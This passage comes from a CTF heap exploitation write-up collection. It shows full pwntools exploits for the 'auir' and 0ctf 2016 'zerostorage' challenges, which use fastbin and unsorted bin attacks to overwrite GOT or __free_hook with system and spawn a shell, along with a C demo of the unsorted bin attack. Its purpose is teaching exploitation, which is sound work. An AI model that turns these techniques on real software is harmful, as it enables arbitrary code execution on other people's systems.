  0x7f56bca04b50 - 0x7f56bca04b70  →   "\xed\x52\x60\x00\x00\x00\x00\x00[...]"
```

So we can see that malloc returned the chunk we got at index `5` (`0x605338`). We also see that our fake chunk `0x6052ed` is in the libc, in the fastbin list. We will allocate another chunk of `0x60` and instead of it giving us the chunk at index `4`, it will give us our fake chunk:

```
gef➤  x/10g 0x605310
0x605310:       0xfd6c20        0xfd6d20
0x605320:       0xfd6da0        0xfd6ea0
0x605330:       0xfd6da0        0xfd6e10
0x605340:       0xfd6e10        0x6052fd
0x605350:       0x0     0x0
```

So we can see that we were able to execute the fastbin attack to get malloc to return our fake chunk to the bss. Next up we will overwrite the first heap pointer with the got table entry address for free:

```
gef➤  x/10g 0x605310
0x605310:       0x605060        0xfd6d20
0x605320:       0xfd6da0        0xfd6ea0
0x605330:       0xfd6da0        0xfd6e10
0x605340:       0xfd6e10        0x6052fd
0x605350:       0x0     0x0
gef➤  x/g 0x605060
0x605060:       0x7f56bc6c44f0
gef➤  x/i 0x7f56bc6c44f0
   0x7f56bc6c44f0 <free>:       push   r13
```

Next up, we will do the got table overwrite:

```
gef➤  x/10g 0x605310
0x605310:       0x0000000000605060      0x0000000000fd6d20
0x605320:       0x0000000000fd6da0      0x0000000000fd6ea0
0x605330:       0x0000000000fd6da0      0x0000000000fd6e10
0x605340:       0x0000000000fd6e10      0x00000000006052fd
0x605350:       0x0000000000000000      0x0000000000000000
gef➤  x/g 0x605060
0x605060:       0x00007f56bc685390
gef➤  x/i 0x00007f56bc685390
   0x7f56bc685390 <system>:     test   rdi,rdi
```

Lastly we will just edit the chunk at index `1` to be `/bin/sh\x00` (we could of just created the chunk to have that string, but that would make sense):

```
gef➤  x/10g 0x605310
0x605310:       0x0000000000605060      0x0000000000fd6d20
0x605320:       0x0000000000fd6da0      0x0000000000fd6ea0
0x605330:       0x0000000000fd6da0      0x0000000000fd6e10
0x605340:       0x0000000000fd6e10      0x00000000006052fd
0x605350:       0x0000000000000000      0x0000000000000000
gef➤  x/s 0xfd6d20
0xfd6d20:       "/bin/sh"
```

After that, we just have to free the chunk at index `1` and it will run `system("/bin/sh")` and give us our shell!

Exploit

Putting it all together, we get the following exploit. In order for this exploit to work, you do need to run it with libc version `libc-2.23.so`. Also I ran this exploit on Ubuntu 16.04:

```python
from pwn import *

# Establish the target binary and libc version
target = process('./auir', env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF('./auir')
libc = ELF('libc-2.23.so')
#gdb.attach(target)

#Establish the functions to interact with the elf
def makeZealot(size, content):
    target.recvuntil(">>")
    target.sendline('1')
    target.recvuntil(">>")
    target.sendline(str(size))
    target.recvuntil(">>")
    target.send(content)

def destroyZealot(index):
    target.recvuntil(">>")
    target.sendline('2')
    target.recvuntil(">>")
    target.sendline(str(index))

def fixZealot(index, size, content):
    target.recvuntil(">>")
    target.sendline('3')
    target.recvuntil(">>")
    target.sendline(str(index))
    target.recvuntil(">>")
    target.sendline(str(size))
    target.recvuntil(">>")
    target.send(content)

def showZealot(index):
    target.recvuntil(">>")
    target.sendline('4')
    target.recvuntil(">>")
    target.sendline(str(index))

# Make the inital chunks for the libc infoleak
makeZealot(0xf0, "0"*0xf0)#     0
makeZealot(0x70, "1"*0x70)#     1
makeZealot(0xf0, "2"*0xf0)#     2
makeZealot(0x30, "3"*0x30)#     3

# Free the bottom to chunks, to align arena libc pointer with chunk 2
destroyZealot(3)
destroyZealot(2)

# Leake the libc pointer stored in chunk 2
showZealot(2)
```

```
# Parse out the infoleak, calculate libc base
target.recvuntil("[*]SHOWING....\n")

leak = target.recvuntil("|").strip("|")
leak = u64(leak + "\x00"*(8 - len(leak)))
libcBase = leak - 0x3c4b78

print "libc base: " + hex(libcBase)

# Calculate the address of the fake chunk
fakeChunk = 0x605310 - 0x23

# Make our two chunks for the fastbin attack
makeZealot(0x60, "1"*0x60)# 4
makeZealot(0x60, "2"*0x60)# 5

# Free those two chunks
destroyZealot(4)
destroyZealot(5)

# Edit chunk 5 which is on top of the fastbin list, overwrite the pointer to the
next fastbin with our fakechunk address
fixZealot(5, 0x60, p64(fakeChunk) + p64(0) + "0"*80)

# Allocate a new chunk, move our fake chunk to the top of the fastbin list
makeZealot(0x60, "6"*0x60)# 6

# Allocate a new chunk, which will be our fake chunk right before the heap ptrs
stored in the bss
makeZealot(0x60, "0")# 7

# Overwrite the first heap ptr with the got table entry for free
fixZealot(7, 0x1b, '0'*0x13 + p64(elf.got['free']))

# Overwrite got entry for free with system
fixZealot(0, 0x8, p64(libcBase + libc.symbols['system']))

# Write the string `/bin/sh` to chunk 1
fixZealot(1, 0x9, "/bin/sh\x00")

# Free chunk 1 to call system("/bin/sh")
destroyZealot(1)

# Drop to an interactive shell to use our newly popped shell
target.interactive()
```

When we run it:

```
$       python exploit.py
[+] Starting local process './auir': pid 5157
[*] '/home/guyinatuxedo/Desktop/elementary/auir'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/guyinatuxedo/Desktop/elementary/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
libc base: 0x7f5d6d785000
[*] Switching to interactive mode
[*]BREAKING....
$ ls
auir  core  exploit.py    libc-2.23.so
$ pwd
/home/guyinatuxedo/Desktop/elementary
```

Just like that, we popped a shell!

Unsorted Bin Explanation

This is just a well documented C file explaining how an Unsorted Bin Attack works. Make sure you run it on a version of libc without the tcache enabled (I ran it using `libc-2.23.so` on Ubuntu `16.04.6`).

Here is the source code:

```
#include <stdio.h>
#include <stdlib.h>

unsigned long remissions;

int main(void)
{

        puts("So we will be covering an unsorted bin attack.");
        puts("The unsorted bin is a doubly linked list.");
        puts("This attack will allow us to write a pointer to the address of our
choosing.");
        puts("While this attack really doesn't give us much control over what we
write, we can count on it being a ptr (which will probably be a 'large'
integer)");
        puts("Let's get started.\n");

    printf("So our goal will be to overwrite the value of the 'remissions'
global variable.\n");
    printf("It is at the bss address: \t%p\n", &remissions);
    printf("With the value: \t\t%0lx\n\n", remissions);

    printf("We will start by allocating two chunks. One to insert into the
unsorted bin.\n");
    printf("The other to prevent consolidation with the top chunk.\n");

        unsigned long *ptr0 = malloc(0xf0);
    unsigned long *ptr1 = malloc(0x10);

        printf("We have allocated our first chunk at:\t%p\n", ptr0);

        printf("Now let's free it to insert it into the unsorted bin.\n\n");

        free(ptr0);

        printf("Now that it has been inserted into the unsorted bin, we can see
it's fwd and bk pointers.\n");

    printf("fwd:\t0x%lx\n", ptr0[0]);
    printf("bk:\t0x%lx\n\n", ptr0[1]);

    printf("Now when a chunk gets removed from the unsorted bin, a pointer to
gets written to it's back chunk.\n");
    printf("Specifically a pointer will get written to bk + 0x10 on x64 (bk +
0x8 for x86).\n");
    printf("That is where we get our ptr write from.\n\n");

    printf("So by using a bug, we can edit the bk pointer of the freed chunk to
point to remissions - 0x10.\n");
    printf("That way when the chunk leaves the unsorted bin, the pointer will be
written to remissions.\n\n");
```

```
    ptr0[1] = (unsigned long)(&remissions - 0x2);

    printf("The current fwd and bk pointers after the write.\n");
    printf("fwd:\t0x%lx\n", ptr0[0]);
    printf("bk:\t0x%lx\n\n", ptr0[1]);


    printf("Now we allocate a new chunk of the same size to remove our freed
chunk from the unsorted bin.");
    printf("This will trigger the write to remissions, which has a current value
of 0x%lx\n", remissions);

    malloc(0xf0);

    printf("Now we can see that the value of remissions has changed.\n");
    printf("remissions:\t0x%lx\n", remissions);

}
```

Here is it running:

```
$       ./unsorted_explanation
So we will be covering an unsorted bin attack.
The unsorted bin is a doubly linked list.
This attack will allow us to write a pointer to the address of our choosing.
While this attack really doesn't give us much control over what we write, we can
count on it being a ptr (which will probably be a 'large' integer)
Let's get started.

So our goal will be to overwrite the value of the 'remissions' global variable.
It is at the bss address:       0x602058
With the value:                 0

We will start by allocating two chunks. One to insert into the unsorted bin.
The other to prevent consolidation with the top chunk.
We have allocated our first chunk at:   0x2399420
Now let's free it to insert it into the unsorted bin.

Now that it has been inserted into the unsorted bin, we can see it's fwd and bk
pointers.
fwd:    0x7ffb7b5fcb78
bk:     0x7ffb7b5fcb78

Now when a chunk gets removed from the unsorted bin, a pointer to gets written
to it's back chunk.
Specifically a pointer will get written to bk + 0x10 on x64 (bk + 0x8 for x86).
That is where we get our ptr write from.

So by using a bug, we can edit the bk pointer of the freed chunk to point to
remissions - 0x10.
That way when the chunk leaves the unsorted bin, the pointer will be written to
remissions.

The current fwd and bk pointers after the write.
fwd:    0x7ffb7b5fcb78
bk:     0x602048

Now we allocate a new chunk of the same size to remove our freed chunk from the
unsorted bin.This will trigger the write to remissions, which has a current
value of 0x0
Now we can see that the value of remissions has changed.
remissions:     0x7ffb7b5fcb78
```

0ctf 2016 - Zerostorage

Static Analysis

First, we will understand how the binary functions and see what sort of constraints we will have to face. To begin, let's see what type of type of file this is and what mitigations it holds.

```
➜  zerostorage file zerostorage
zerostorage: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/l, for GNU/Linux 2.6.24,
BuildID[sha1]=93c36d63b011f873b2ba65c8562c972ffbea10d9, stripped
➜  zerostorage checksec zerostorage
[*] '/home/vagrant/pwning/0ctf16/zerostorage/zerostorage'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
```

As can be seen, this is a 64-bit ELF and there are all mitigation techniques. RELRO is full so the global offset table will not be exploitable, and PIE is enabled so we should look for a leak before exploiting.

Now let's look at this binary in Ghidra. The main function is located at address 100c40, and this contains a menu of options.

```
  puts("== Zero Storage ==");
  puts("1. Insert");
  puts("2. Update");
  puts("3. Merge");
  puts("4. Delete");
  puts("5. View");
  puts("6. List");
  puts("7. Exit");
  puts("==================");
  __printf_chk(1,"Your choice: ");
```

This menu function shows that we have a few standard options for a heap exploitation challenge. We can create, delete, edit, and view chunks. Also, we can merge chunks, which I have never seen before. Additionally we can list chunks and exit, so let's explore a few important functions to see what happens.

Before this menu is printed, a function at 00100f20 is called. This function sets buffering for stdin and stdout, and it also sets an alarm (common practice for CTF challenges). Additionally, /dev/urandom is opened and 8 bytes are read into a global variable. For now we can call this variable GLOBAL_KEY, and we will see how this is used later.

```
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
alarm(0x3c);
__stream = fopen("/dev/urandom","rb");
if (__stream != (FILE *)0x0) {
  bytes_read = fread(&GLOBAL_KEY,1,8,__stream);
  if (bytes_read == 8) {
    fclose(__stream);
    return;
  }
}
```

Insert

The insert function is located at 00100fd0. Here, we can see that the size of our chunk must be between 0x80 and 0x1000. With the metadata, that means we can only make heaps of sizes at least 0x90. This means that we cannot use fastbins, so we will have to find another exploitation type. Also, we can see that the pointers are xored with a global key before they are stoerd in the binary, so it may be hard to exploit these. Luckily, we will be able to use the unsorted bin, so we will look into that attack after the static analysis.

```
if (0 < entry_length) {
  intermediate_len = 0x1000;
  if (entry_length < 0x1001) {
    intermediate_len = entry_length;
  }
  final_len = 0x80;
  if (0x7f < intermediate_len) {
    final_len = intermediate_len;
  }
  chunk_ptr = calloc((long)final_len,1);
```

After this, the pointer to the chunk and size are saved into some special global variables. I labelled these arrays as follows:

```
enc_ptr = (ulong)chunk_ptr ^ GLOBAL_KEY;
(&IN_USE)[lVar2 * 6] = 1;
(&CHUNK_SIZES)[lVar2 * 3] = (long)intermediate_len;
(&ENC_PTR)[lVar2 * 3] = enc_ptr;
NUM_CHUNKS = NUM_CHUNKS + 1;
```

Delete

The delete function is located at 00101530. This delete function free's the heap pointer at the index of choice, and it also zeros out this pointer before returning. This should be effective for preventing a use after free, so this function does not appear to be exploitable. Additionally, it makes sure that the chunk is in use before freeing it, so this prevents double frees.

```
  if ((uint)heap_index < 0x20) {
    index = (long)(int)(uint)heap_index;
    if ((&IN_USE)[index * 6] == 1) {
      enc_ptr = (&ENC_PTR)[index * 3];
      (&IN_USE)[index * 6] = 0;
      (&CHUNK_SIZES)[index * 3] = 0;
      NUM_CHUNKS = NUM_CHUNKS + -1;
      free((void *)(enc_ptr ^ GLOBAL_KEY));
      (&ENC_PTR)[index * 3] = 0;
      __printf_chk(1,"Entry %d is successfully deleted.\n",heap_index &
0xffffffff);
      return;
    }
  }
```

View

The view function (00101600) show's the size of bytes from the heap pointer. This function could possibly be used to get an info leak later on, but we still have not found an exploitable bug that could let us use a free heap.

```
  entry_num = get_choice();
  if ((entry_num < 0x20) && (this_entry = (long)(int)entry_num, (&IN_USE)
[this_entry * 6] == 1)) {
    __printf_chk(1,"Entry No.%d:\n",(ulong)entry_num);
    print_buffer((&ENC_PTR)[this_entry * 3] ^ GLOBAL_KEY,(&CHUNK_SIZES)
[this_entry * 3]);
    puts("");
    return;
  }
```

Merge

The merge function (located at 001012c0) has two different possible code paths. If the combined size of the two chunks is the same as either chunk or less than 0x80, a new index is created but the merge to poinnter is used. However, if they are different, a realloc is performed to create a new chunk. Then, the merge from chunk is freed. This is a problem because if the two indeces are the same, the chunk will be freed and the newly created chunk will point to this freed region. This let's us use and view a free chunk, which is perfect!

```
              if (total_size_final != to_size_final) {
                to_ptr = realloc(to_ptr,total_size_final);
                if (to_ptr == (void *)0x0) {
                  fwrite("Memory Error.\n",1,0xe,stderr);
                    /* WARNING: Subroutine does not return */
                  exit(-1);
                }
                from_size = (&CHUNK_SIZES)[from_index * 3];
                to_size = (&CHUNK_SIZES)[to_index * 3];
              }
              memcpy((void *)((long)to_ptr + to_size),
                     (void *)(GLOBAL_KEY ^ (&ENC_PTR)[from_index *
3]),from_size);
              key = GLOBAL_KEY;
              new_index = (long)(int)this_index;
              (&ENC_PTR)[new_index * 3] = (ulong)to_ptr ^ GLOBAL_KEY;
              from_ptr = (&ENC_PTR)[from_index * 3];
              (&IN_USE)[new_index * 6] = 1;
              (&CHUNK_SIZES)[new_index * 3] = total_size;
              (&IN_USE)[from_index * 6] = 0;
              (&CHUNK_SIZES)[from_index * 3] = 0;
              free((void *)(key ^ from_ptr));
```

In order to satisfy this condition, the combination of to and from sizes should be less than 0x80 large. This should be easy to create because we could create two chunks of size 0x20 to merge together. While they would be stored as a size 0x80, the saved size in the global array would be 0x20. Also, we could even merge a chunk with itself to make this more simple, because there is no check that the indeces are different.

Update

The update function, located at 00101120, lets you create a new chunk at an index. It uses realloc to create a new chunk of the appropriate size, and then you can input the characters in with no overflow. Additionally, it checks to make sure that the chunk is at least 0x80 large, so again fastbin attacks are mitigated.

```
    if (0 < entry_len) {
      int_len = 0x1000;
      if (entry_len < 0x1001) {
        int_len = entry_len;
      }
      min_length = 0x80;
      final_length = 0x80;
      if (0x7f < int_len) {
        final_length = int_len;
      }
      __ptr = (void *)((&ENC_PTR)[lVar2 * 3] ^ GLOBAL_KEY);
      if (0x7f < (ulong)(&CHUNK_SIZES)[lVar2 * 3]) {
        min_length = (int)(&CHUNK_SIZES)[lVar2 * 3];
      }
      if (final_length != min_length) {
        __ptr = realloc(__ptr,(long)final_length);
        if (__ptr == (void *)0x0) {
          fwrite("Memory Error.\n",1,0xe,stderr);
                  /* WARNING: Subroutine does not return */
          exit(-1);
        }
      }
      __printf_chk(1,"Enter your data: ");
      get_chars(__ptr,(long)int_len);
      (&ENC_PTR)[lVar2 * 3] = (ulong)__ptr ^ GLOBAL_KEY;
      (&CHUNK_SIZES)[lVar2 * 3] = (long)int_len;
      __printf_chk(1,"Entry %d is successfully updated.\n",uVar1 &
0xffffffff);
      return;
```

Unsorted Bin

The unsorted bin attack is a very strong attack when you cannot use fastbins. As you will see, you have less control with the unsorted bin attack, but it is an important building block in any attack. The unsorted bin is a doubly linked list that holds bins before they go into a small or large bin. What this means is that you can modify the pointers to make malloc assume that a chunk is located where you choose to forge the pointers to. I will show this in further detail ahead, but it is similar to a fastbin attack in that you can fake heap chunks. However, the difference is that the address of the heap chunk is written to this pointer, rather than creating a new chunk for you to put data into. It attempts to fix the doubly linked list, but it does not let you make chunks outside of the heap.

To start this unsorted bin attack, we will insert two chunks. The first should have a size of less than 0x80 because this will be the chunk that we merge with itself. We need a second chunk to prevent this chunk from consolidating with the forest, and we can play with the size of this as needed. To test, I will just insert chunks of size 0x20 onto the heap, and they will have 0x1f A's and 0x1f B's. Then, I will merge 0 with 0, to create the use after free. This will create a chunk 2 that points to the freed region, and I can use the view functionality.

```
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

target = process("./zerostorage")
gdb.attach(target)
raw_input("Begin...")

def insert(size, data):
    target.recvuntil("Your choice: ")
    target.sendline("1")
    target.recvuntil("Length of new entry: ")
    target.sendline(str(size))
    target.recvuntil("Enter your data: ")
    target.sendline(data)

def merge(index1, index2):
    target.recvuntil("Your choice: ")
    target.sendline("3")
    target.recvuntil("Merge from Entry ID: ")
    target.sendline(str(index1))
    target.recvuntil("Merge to Entry ID: ")
    target.sendline(str(index2))

def view(index):
    target.recvuntil("Your choice: ")
    target.sendline("5")
    target.recvuntil("Entry ID: ")
    target.sendline(str(index))
    target.recvline()

# Create two chunks, must prevent consolidate into forest
insert(0x20, "A" * 0x1f)  # 0
insert(0x20, "B" * 0x1f)  # 1

# Merge 0 chunk with itself, use after free
merge(0, 0)               # 2

view(2)
```

After viewing this chunk, we can use gdb to determine the offsets of the important addresses. At this point, we determine what we would like to attack with the unsorted bin exploit as well. In libc, there is a global variable known as global_max_fast, and this holds the size of the largest allowable fastbin for free to create.

```
gef➤  p &global_max_fast
$1 = (size_t *) 0x7f06ef8767f8 <global_max_fast>
gef➤  x/gx 0x7f06ef8767f8
0x7f06ef8767f8 <global_max_fast>:       0x0000000000000080
```

In a standard 64 bit heap, 0x80 is the largest size of any fastbin in the heap. However, we should be able to change this by acting like a fake unsorted bin is stored at this address. However, we will have to subtract 0x10 from this address when we create our fake chunk because we want the forward and backwards pointers to overlap with the global_max_fast. We will calculate the address of this, as well as some other important addresses, by unpacking the 8 bytes that we can view in this freed chunk.

```
leak = u64(target.recv(8))
libc = leak - 0x3c4b78
global_max_fast = libc + 0x3c67f8
system = libc + libc_bin.symbols['system']
free_hook = libc + libc_bin.symbols['__free_hook']
```

To carry out the unsorted bin attack, we will edit the pointers on the chunk and see how they are referenced when a new chunk is created. To do this, we could statically review the code about unsorted bins in the malloc source code. An easier way would be to overwrite the pointers with two different, recognizable values, like "aaaaaaaa" and "bbbbbbbb". Then, when it SEGFAULTS, we can look at the crash to see which pointer was being written to!

```
edit(2, 0x20, "aaaaaaaa" + "bbbbbbbb" + "C" *0xf)

insert(0x20, "D"*0x1f)       # 0
```

Now, let's run this and see where it crashes:

```
Program received signal SIGSEGV, Segmentation fault.
_int_malloc (av=av@entry=0x7f61e1e74b20 <main_arena>, bytes=bytes@entry=0x80) at
malloc.c:3516
3516    malloc.c: No such file or directory.
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────
registers ]────
$rax   : 0x7ffff2ac8d3f      →  0x007ffff2ac8d7000
$rbx   : 0x7f61e1e74b20      →  0x0000000100000001
$rcx   : 0x7c
$rdx   : 0x81
$rsp   : 0x7ffff2ac8cc0      →  0x0000000000000009
$rbp   : 0x90
$rsi   : 0x90
$rdi   : 0x7ffff2ac8d40      →  0x00007ffff2ac8d70  →  0x0000000000000080
$rip   : 0x7f61e1b31e10      →  <_int_malloc+656> mov QWORD PTR [r15+0x10], r12
$r8    : 0x0
$r9    : 0x1999999999999999
$r10   : 0x0
$r11   : 0x7f61e1c275e0      →  0x0002000200020002
$r12   : 0x7f61e1e74b78      →  0x000055a5704ae1a0  →  0x0000000000000000
$r13   : 0x55a5704ae000      →  0x0000000000000000
$r14   : 0x2710
$r15   : 0x6262626262626262 ("bbbbbbbb"?)
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME
virtualx86 identification]
$ds: 0x0000  $es: 0x0000  $cs: 0x0033  $fs: 0x0000  $gs: 0x0000  $ss: 0x002b
─────────────────────────────────────────────────────────────────────────────────
stack ]────
0x00007ffff2ac8cc0│+0x00: 0x0000000000000009     ← $rsp
0x00007ffff2ac8cc8│+0x08: 0x0000000000000080
0x00007ffff2ac8cd0│+0x10: 0x00007ffff2ac8d40  →  0x00007ffff2ac8d70  →
0x0000000000000080
0x00007ffff2ac8cd8│+0x18: 0x00007f61e1bc69ef  →  <__printf_chk+271> test r12d,
r12d
0x00007ffff2ac8ce0│+0x20: 0x0000000000000001
0x00007ffff2ac8ce8│+0x28: 0x0000003000000010
0x00007ffff2ac8cf0│+0x30: 0xffff80000d5372c1
0x00007ffff2ac8cf8│+0x38: 0x00007ffff2ac8d3f  →  0x007ffff2ac8d7000
─────────────────────────────────────────────────────────────────────────────[
code:i386:x86-64 ]────
   0x7f61e1b31e03 <_int_malloc+643> je     0x7f61e1b31fa0 <_int_malloc+1056>
   0x7f61e1b31e09 <_int_malloc+649> cmp    rbp, rsi
   0x7f61e1b31e0c <_int_malloc+652> mov    QWORD PTR [rbx+0x70], r15
 → 0x7f61e1b31e10 <_int_malloc+656> mov    QWORD PTR [r15+0x10], r12
   0x7f61e1b31e14 <_int_malloc+660> je     0x7f61e1b322c8 <_int_malloc+1864>
   0x7f61e1b31e1a <_int_malloc+666> cmp    rsi, 0x3ff
   0x7f61e1b31e21 <_int_malloc+673> jbe    0x7f61e1b31d80 <_int_malloc+512>
   0x7f61e1b31e27 <_int_malloc+679> mov    rax, rsi
   0x7f61e1b31e2a <_int_malloc+682> shr    rax, 0x6
─────────────────────────────────────────────────────────────────────────────────
threads ]────
```

```
[#0] Id 1, Name: "zerostorage", stopped, reason: SIGSEGV
```

```
trace ]────
[#0] 0x7f61e1b31e10 → Name: _int_malloc(av=0x7f61e1e74b20 <main_arena>,
bytes=0x80)
[#1] 0x7f61e1b34dca → Name: __libc_calloc(n=<optimized out>, elem_size=
<optimized out>)
[#2] 0x55a56f54d057 → test rax, rax
[#3] 0x55a56f54d9e6 → cmp eax, 0x3d3d3d3d
[#4] 0x55a56f54dc00 → (bad)
[#5] 0x55a56f54d910 → push r15
[#6] 0x55a56f54cd71 → xor ebp, ebp
[#7] 0x7ffff2ac8ee0 → add DWORD PTR [rax], eax
[#8] 0x55a56f54cd57 → jmp 0x55a56f54cc50
```

```
gef➤
```

As can be seen, the instruction that failed involved writing to an offset of 0x10 from r15. r15 holds all b's at this point, so we can see that it tried to write to the second pointer, the backwards pointer. The value that is being written is some libc address, which turns out to be the head of the unsorted bin list in libc. Let's modify our code to write to the global_max_fast instead, taking into account the offset of 0x10 as well:

```
edit(2, 0x20, "aaaaaaaa" + p64(global_max_fast-0x10) + "C"*0xf)

insert(0x20, "D"*0x1f)       # 0
target.interactive()
```

Now, we will run this and check what value is in the global_max_fast variable:

```
gef➤  x/gx &global_max_fast
0x7fc8cf93b7f8 <global_max_fast>:       0x00007fc8cf939b78
```

Awesome! Now the global_max_fast is a very large value, much larger than 0x80. That means that we can make fastbins of enormous size, so the minimum size of 0x80 is no longer an issue. As with any fastbin attack, we need to find a good place to create a fake fastbin, so we should look for an area that has a good fake size. The best target for a binary with full RELRO is the free hook or the malloc hook.

```
gef➤  p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000
0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000
0x0000000000000000
0x7ff1e9e6078f <_IO_stdfile_1_lock+15>: 0x0000000000000000
0x0000000000000000
0x7ff1e9e6079f <_IO_stdfile_0_lock+15>: 0x0000000000000000
0x0000000000000000
0x7ff1e9e607af <__free_hook+7>: 0x0000000000000000      0x0000000000000000
0x7ff1e9e607bf <next_to_use.11232+7>:   0x0000000000000000
0x0000000000000000
0x7ff1e9e607cf <using_malloc_checking+3>:       0x0000000000000000
0x0000000000000000
0x7ff1e9e607df <arena_mem+7>:   0x0000000000000000      0x0000000000000000
0x7ff1e9e607ef <free_list+7>:   0x0000000000000000      0x007ff1e9e5eb7800
0x7ff1e9e607ff <global_max_fast+7>:     0x0000000000000000
0x0000000000000000
0x7ff1e9e6080f <root+7>:        0x0000000000000000      0x0000000000000000
0x7ff1e9e6081f <old_realloc_hook+7>:    0x0000000000000000
0x0000000000000000
0x7ff1e9e6082f <old_malloc_hook+7>:     0x0000000000000000
0x0000000000000000
0x7ff1e9e6083f: 0x0000000000000000      0x0000000000000000
0x7ff1e9e6084f <tr_old_realloc_hook+7>: 0x0000000000000000
0x0000000000000000
0x7ff1e9e6085f <tr_old_free_hook+7>:    0x0000000000000000
0x0000000000000000
0x7ff1e9e6086f <mallstream+7>:  0x0000000000000000      0x0000000000000000
0x7ff1e9e6087f <already_called.9953+7>: 0x0000000000000000
0x0000000000000000
0x7ff1e9e6088f <static_buf+7>:  0x0000000000000000      0x0000000000000000
0x7ff1e9e6089f: 0x0000000000000000      0x0000000000000000
0x7ff1e9e608af <local_buf+15>:  0x0000000000000000      0x0000000000000000
0x7ff1e9e608bf <local_buf+31>:  0x0000000000000000      0x0000000000000000
0x7ff1e9e608cf <local_buf+47>:  0x0000000000000000      0x0000000000000000
0x7ff1e9e608df <local_buf+63>:  0x0000000000000000      0x0000000000000000
0x7ff1e9e608ef <local_buf+79>:  0x0000000000000000      0x0000000000000000
0x7ff1e9e608ff <local_buf+95>:  0x0000000000000000      0x0000000000000000
0x7ff1e9e6090f <save_ptr+7>:    0x0000000000000000      0x0000000000000000
0x7ff1e9e6091f: 0x0000000000000000      0x0000000000000000
gef➤
```

We should work with fastbins of size 0x200 in order to create a fake chunk here, and then at offset 0x49 in the chunk we can begin overwriting the free hook! In order to create this chunk, we will have to merge two chunks together that are larger than 0x80. In order to do that, we can merge a chunk with itself that has a size of 0x1f8 / 2, or 0xfc. Then, when it merges with itself it will realloc as 0x1f8 and then free. Let's set chunk 1 to this size, the second chunk that we initially created. Then, we will merge it with itself, and then edit it to overwrite the fastbin pointer with the address of free hook - 0x59. Then, after inserting a chunk of size 0x1f8, we will be ready to insert our fake chunk in libc. This chunk will have 0x49 null bytes, then the packed function pointer, then many other null bytes. This ensures that the next deleted chunk will

Originally, I wanted to overwrite the free hook with a magic gadget. However, none of the stack offsets were nulls, so they all failed. I decided to overwrite it with system instead, and I put "/bin/sh\x00" in the beginning of chunk 0 before I filled it with D's.

Here is the final exploit:

```
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

target = process("./zerostorage")
gdb.attach(target)
raw_input("Begin...")

libc_bin = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def insert(size, data):
    target.recvuntil("Your choice: ")
    target.sendline("1")
    target.recvuntil("Length of new entry: ")
    target.sendline(str(size))
    target.recvuntil("Enter your data: ")
    target.sendline(data)

def merge(index1, index2):
    target.recvuntil("Your choice: ")
    target.sendline("3")
    target.recvuntil("Merge from Entry ID: ")
    target.sendline(str(index1))
    target.recvuntil("Merge to Entry ID: ")
    target.sendline(str(index2))

def view(index):
    target.recvuntil("Your choice: ")
    target.sendline("5")
    target.recvuntil("Entry ID: ")
    target.sendline(str(index))
    target.recvline()

def edit(index, size, data):
    target.recvuntil("Your choice: ")
    target.sendline("2")
    target.recvuntil("Entry ID: ")
    target.sendline(str(index))
    target.recvuntil("Length of entry: ")
    target.sendline(str(size))
    target.recvuntil("Enter your data: ")
    target.sendline(data)

def delete(index):
    target.recvuntil("Your choice: ")
    target.sendline("4")
    target.recvuntil("Entry ID: ")
    target.sendline(str(index))

# Create two chunks, must prevent consolidate into forest
insert(0x20, "A" * 0x1f)    # 0
insert(0xfc, "B" * 0xfb)    # 1
```

```
# Merge 0 chunk with itself, use after free
merge(0, 0)                  # 2

# View chunk 2 to view unsorted bin ptr
view(2)

leak = u64(target.recv(8))
libc = leak - 0x3c4b78
global_max_fast = libc + 0x3c67f8
system = libc + libc_bin.symbols['system']
free_hook = libc + libc_bin.symbols['__free_hook']

log.info("Leak: " + hex(leak))
log.info("Libc: " + hex(libc))
log.info("Global_max_fast: " + hex(global_max_fast))
log.info("System: " + hex(system))

# Edit 2 to overwrite unsorted bin ptr, attack global_max_fast
edit(2, 0x20, "aaaaaaaa" + p64(global_max_fast-0x10) + "C"*0xf)

# /bin/sh to free later, insert triggers unsorted bin attack
insert(0x20, "/bin/sh\x00" + "D"*0x17) # 0

# Large fastbin, size appropriate for attack
merge(1, 1)                   # 3

# Fake fastbin over free hook
payload = p64(free_hook - 0x59)
payload += "A" * (0x1f7 - len(payload))

edit(3, 0x1f8, payload)

insert(0x1f8, "Q"*0x1f7)

# Overwrite free hook
payload2 = "\x00" * 0x49
payload2 += p64(system)
payload2 += "\x00" * (0x1f7 - len(payload2))

insert(0x1f8, payload2)       # 4

delete(0)

target.interactive()
```

I would like to give credit to this writeup for helping me solve an issue with the merging free affecting the fastbin size: [https://stfwlg.github.io/archivers/2016_0ctf-*zerostorage*%ED%92%80%EC%9D%B4]

Hitcon Training Magicheap

The goal of this challenge is to print the flag.

Let's take a look at the binary and libc:

```
$ ./libc-2.23.so
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by
Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
  crypt add-on version 2.1 by Michael Glad and others
  GNU Libidn by Simon Josefsson
